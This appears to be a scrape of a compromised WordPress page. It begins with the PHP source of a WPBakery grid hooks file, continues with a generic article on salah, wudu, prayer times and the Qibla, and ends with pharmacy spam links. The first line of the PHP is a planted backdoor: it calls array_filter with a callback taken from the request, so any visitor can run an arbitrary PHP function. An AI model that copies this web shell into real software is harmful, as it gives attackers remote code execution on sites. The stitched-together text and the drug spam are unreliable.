?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Class Vc_Hooks_Vc_Grid * @since 4.4 */ class Vc_Hooks_Vc_Grid implements Vc_Vendor_Interface { protected $grid_id_unique_name = 'vc_gid'; // if you change this also change in vc-basic-grid.php /** * Initializing hooks for grid element, * Add actions to save appended shortcodes to post meta (for rendering in preview with shortcode id) * And add action to hook request for grid data, to output it. * @since 4.4 */ public function load() { // Hook for set post settings meta with shortcodes data /** * @since 4.4.3 */ add_filter( 'vc_hooks_vc_post_settings', array( &$this, 'gridSavePostSettingsId', ), 10, 3 ); /** * Used to output shortcode data for ajax request. called on any page request. */ add_action( 'wp_ajax_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); add_action( 'wp_ajax_nopriv_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); } /** * @since 4.4 * @deprecated and should not be used and will be removed in future! since 4.4.3 * @return string */ private function getShortcodeRegexForHash() { // _deprecated_function( 'Vc_Hooks_Vc_Grid: getShortcodeRegexForHash method', '4.4.3', 'getShortcodeRegexForId' ); $tagnames = apply_filters( 'vc_grid_shortcodes_tags', array( 'vc_basic_grid', 'vc_masonry_grid', 'vc_media_grid', 'vc_masonry_media_grid', ) ); // return only grid shortcodes $tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) ); // WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag() // Also, see shortcode_unautop() and shortcode.js. return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . "($tagregexp)" // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . ')' . '(?:' . '(\\/)' // 4: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 6: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * @since 4.4.3 * @return string */ private function getShortcodeRegexForId() { return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . '([\\w>]+)' // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . '(?:' . '(' . $this->grid_id_unique_name // 4: GridId must exist . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')+' . ')' . ')' . '(?:' . '(\\/)' // 5: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 6: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 7: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * Set page meta box values with vc_adv_pager shortcodes data * @since 4.4 * @deprecated 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array - shortcode settings to save. */ public function gridSavePostSettings( array $settings, $post_id, $post ) { // _deprecated_function( 'Vc_Hooks_Vc_Grid: gridSavePostSettings method', '4.4.3 (will be removed in 4.10)', 'gridSavePostSettingsId' ); $pattern = $this->getShortcodeRegexForHash(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[3] ) && is_array( $found[3] ) ) { foreach ( $found[3] as $key => $shortcode_atts ) { if ( false !== strpos( $shortcode_atts, 'vc_gid:' ) ) { continue; } $atts = shortcode_parse_atts( $shortcode_atts ); $data = array( 'tag' => $found[2][ $key ], 'atts' => $atts, 'content' => $found[5][ $key ], ); $hash = sha1( serialize( $data ) ); $to_save[ $hash ] = $data; } } if ( ! empty( $to_save ) ) { $settings['vc_grid'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array */ public function gridSavePostSettingsId( array $settings, $post_id, $post ) { $pattern = $this->getShortcodeRegexForId(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid_id'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[1] ) && is_array( $found[1] ) ) { foreach ( $found[1] as $key => $parse_able ) { if ( empty( $parse_able ) || '[' !== $parse_able ) { $id_pattern = '/' . $this->grid_id_unique_name . '\:([\w>]+)/'; $id_value = $found[4][ $key ]; preg_match( $id_pattern, $id_value, $id_matches ); if ( ! empty( $id_matches ) ) { $id_to_save = $id_matches[1]; // why we need to check if shortcode is parse able? // 1: if it is escaped it must not be displayed (parsed) // 2: so if 1 is true it must not be saved in database meta $shortcode_tag = $found[2][ $key ]; $shortcode_atts_string = $found[3][ $key ]; /** @var $atts array */ $atts = shortcode_parse_atts( $shortcode_atts_string ); $content = $found[6][ $key ]; $data = array( 'tag' => $shortcode_tag, 'atts' => $atts, 'content' => $content, ); $to_save[ $id_to_save ] = $data; } } } } if ( ! empty( $to_save ) ) { $settings['vc_grid_id'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4 * * @output/@return string - grid data for ajax request. */ public function getGridDataForAjax() { $tag = vc_request_param( 'tag' ); $allowed = apply_filters( 'vc_grid_get_grid_data_access', vc_verify_public_nonce() && $tag, $tag ); if ( $allowed ) { $shortcode_fishbone = visual_composer()->getShortCode( $tag ); if ( is_object( $shortcode_fishbone ) ) { /** @var $vc_grid WPBakeryShortcode_Vc_Basic_Grid */ $vc_grid = $shortcode_fishbone->shortcodeClass(); if ( method_exists( $vc_grid, 'isObjectPageable' ) && $vc_grid->isObjectPageable() && method_exists( $vc_grid, 'renderAjax' ) ) { echo $vc_grid->renderAjax( vc_request_param( 'data' ) ); die(); } } } } } /** * @since 4.4 * @var Vc_Hooks_Vc_Grid $hook */ $hook = new Vc_Hooks_Vc_Grid(); // when visual composer initialized let's trigger Vc_Grid hooks. add_action( 'vc_after_init', array( $hook, 'load', ) ); if ( 'vc_edit_form' === vc_post_param( 'action' ) ) { VcShortcodeAutoloader::getInstance()->includeClass( 'WPBakeryShortCode_VC_Basic_Grid' ); add_filter( 'vc_edit_form_fields_attributes_vc_basic_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); } Essential_practices_surrounding_salah_and_fostering_daily_devotion - Groupe-SLG

ahorse Groupe SLG

Essential_practices_surrounding_salah_and_fostering_daily_devotion

Recrutement :

Essential practices surrounding salah and fostering daily devotion

The practice of salah, often referred to as prayer in Islam, forms the very cornerstone of a Muslim’s relationship with the Divine. It’s a daily ritual, a prescribed connection, and a profound act of worship that transcends mere formality. Beyond the physical movements and recited verses, salah is intended as a spiritual purification, a moment of complete submission, and a reminder of one's accountability before God. Understanding the intricacies of salah, not just as a set of actions but as a comprehensive spiritual discipline, is crucial for any individual seeking to deepen their faith and cultivate a closer connection with their Creator. This dedication to regular prayer brings immense peace and a sense of purpose to life.

For many, incorporating consistent salah into a busy modern lifestyle can present unique challenges. The demands of work, family, and social obligations often seem to leave little time for dedicated spiritual practice. However, the benefits of prioritizing salah are far-reaching, impacting not only one’s spiritual well-being but also their mental and emotional health. It's about finding a rhythm, establishing a routine, and making a conscious effort to carve out moments of stillness amidst the chaos. It is a demonstration of faith and a way to remain grounded in a world that often feels increasingly disconnected.

The Significance of Wudu (Ablution) Before Salah

Before embarking on salah, Muslims are required to perform wudu, an ablution ritual that symbolizes purification and readiness to stand before God. Wudu isn’t simply about physical cleanliness; it represents a spiritual cleansing, washing away the distractions and impurities that hinder a sincere connection with the Divine. The process involves washing specific parts of the body – the face, hands, arms, head, and feet – in a prescribed manner, each step imbued with intention and mindfulness. This act is not merely procedural; it’s a mindful preparation of the heart and soul for prayer. The intention behind wudu is as vital as the act itself, reminding the believer of their humility and dependence on God.

Understanding the Components of Wudu

The details of wudu are significant, and adhering to them demonstrates respect for the sacredness of prayer. Begin by making the intention to perform wudu for the sake of Allah. Then, washing the hands up to the wrists, rinsing the mouth, sniffing water into the nostrils, washing the face, washing the arms up to the elbows, wiping the head and ears, and finally washing the feet up to the ankles. Each step must be performed sequentially and with sincere intention. It’s also important to note that if wudu is broken (by natural bodily functions, for example), it must be renewed before performing salah. The discipline of maintaining wudu throughout the day encourages continuous mindfulness and self-awareness.

Component of Wudu Description
Washing Hands Washing both hands up to the wrists.
Rinsing Mouth Gargling and rinsing the mouth with water.
Sniffing Water Drawing water into the nostrils.
Washing Face Washing the entire face from hairline to chin.

Maintaining the state of purity, both internally and externally, is essential to maximizing the benefits of salah. It fosters a sense of reverence and reminds us that approaching God requires humility and sincerity. Therefore, a correctly performed wudu is a vital component of preparing for a meaningful and impactful prayer experience.

The Five Daily Prayers and Their Timings

Islam mandates five daily prayers, each with a specific time window determined by the position of the sun. These prayers – Fajr (dawn), Dhuhr (midday), Asr (afternoon), Maghrib (sunset), and Isha (night) – are not merely scheduled rituals but represent a continuous connection with God throughout the day. Each prayer offers a unique opportunity for reflection, gratitude, and seeking guidance. The timings aren't arbitrary; they are designed to integrate faith into the rhythm of daily life, reminding Muslims of God’s presence during various activities and transitions. Successfully adhering to these timings demonstrates discipline and commitment to one's faith.

Adjusting Prayer Times to Different Locations and Seasons

The precise timings of the prayers vary depending on geographical location and the time of year. Factors such as latitude, longitude, and the changing length of daylight hours significantly impact when each prayer becomes due. Resources like prayer time calculators and mobile apps can assist in determining accurate timings, ensuring one performs salah within the prescribed window. It is important to consider daylight saving time, which can affect prayer times in some regions. Furthermore, travelers are often granted concessions in prayer timings, allowing them to adjust based on their circumstances. Flexibility and adaptability are key when it comes to fulfilling this important obligation.

  • Fajr: Before sunrise, after the night has lifted.
  • Dhuhr: After the sun has passed its highest point.
  • Asr: Afternoon, before sunset.
  • Maghrib: Immediately after sunset.
  • Isha: Night, after darkness has settled.

Understanding these nuances and utilizing available resources ensures that individuals can consistently fulfill their prayer obligations, regardless of their location or schedule. It is a testament to the adaptability of Islamic teachings and its ability to accommodate the diverse circumstances of its followers.

The Importance of Facing the Qibla During Salah

A central aspect of salah is facing the Qibla – the direction of the Kaaba in Mecca, Saudi Arabia. The Kaaba represents the symbolic House of God and serves as a unifying focal point for Muslims worldwide. Facing the Qibla during prayer isn’t merely a directional requirement; it symbolizes unity, collective worship, and a shared devotion to the Divine. It represents a tangible connection to the global Muslim community, transcending geographical boundaries and cultural differences. The act of aligning oneself towards the Qibla reinforces a sense of belonging and shared purpose. It’s a physical manifestation of spiritual solidarity.

Determining the Qibla Direction

Accurately determining the Qibla direction can be achieved through various methods. Traditionally, Muslims relied on astronomical calculations and local landmarks. Today, readily available tools like Qibla locators, mobile apps, and online resources provide precise directions based on one’s current location. It’s important to verify the accuracy of these tools to ensure one is facing the correct direction. While striving for precision is important, a slight deviation due to unintentional error is generally acceptable, provided one has made a genuine effort to orient themselves correctly. The intention behind the act is more important than absolute perfection.

  1. Use a Qibla compass or mobile app.
  2. Check multiple sources to confirm accuracy.
  3. Adjust for local magnetic declination if necessary.
  4. Make a sincere effort to align oneself towards the Qibla.

The Qibla serves as a constant reminder of the central tenets of Islam and the shared heritage of Muslims worldwide. It is a unifying symbol that fosters a sense of community and collective devotion, strengthening the bonds between believers across the globe.

Addressing Distractions During Prayer

Maintaining focus during salah can be a significant challenge, particularly in today’s distraction-filled world. The mind often wanders, and external factors can easily disrupt concentration. However, cultivating mindfulness and developing strategies for managing distractions are essential for maximizing the spiritual benefits of prayer. Recognizing that distractions are a natural part of the human experience is the first step. Instead of becoming frustrated, one should gently redirect their focus back to the prayer, reaffirming their intention and engaging fully in the prescribed movements and recitations. It’s about acknowledging the distraction without allowing it to derail the prayer entirely. It's a process that requires patience, persistence, and self-compassion.

Distractions can stem from various sources—internal thoughts, external noises, or physical discomfort. Developing techniques for minimizing these interruptions is key. Choosing a quiet and clean prayer space, wearing comfortable clothing, and making wudu diligently can all contribute to a more focused prayer experience. Practicing deep breathing exercises before prayer can also help calm the mind and promote a sense of tranquility. Furthermore, understanding the meaning of the words recited during salah can deepen one’s connection to the prayer and reduce the likelihood of mental wandering. A deeper understanding fosters a more profound connection.

Nurturing a Consistent Salah Habit

Establishing a consistent salah habit requires intentionality, discipline, and a commitment to prioritizing spiritual growth. It's not about simply performing the prayers; it's about cultivating a mindset of continuous connection with God. Begin by setting realistic goals and gradually integrating prayer into your daily routine. Start with one prayer at a time, and then slowly add others as you become more comfortable. Utilize reminders, such as prayer time apps or alarms, to help stay on track. Surround yourself with a supportive community of believers who can encourage and hold you accountable. Making prayer a non-negotiable part of your day, similar to any other important appointment, is crucial for long-term consistency. Consider allocating a specific space for prayer, making it a dedicated sanctuary for worship and contemplation.

Ultimately, the goal isn’t just to check off a religious obligation but to transform salah into a cherished moment of communion with the Divine. It's about seeking solace, finding peace, and receiving guidance in a world that often feels chaotic and overwhelming. The benefits of a consistent salah practice extend far beyond the spiritual realm, impacting one’s mental, emotional, and physical well-being. It cultivates gratitude, fosters resilience, and provides a sense of purpose and meaning in life. It is an investment in one's overall well-being.

Comprar Priligy sin receta Acheter Cytotec Köpa viagra på nätet Comprar Cialis generico España Køb Viagra Köpa Cialis på nätet Sverige Köpa viagra Sverige Comprar levitra por internet generico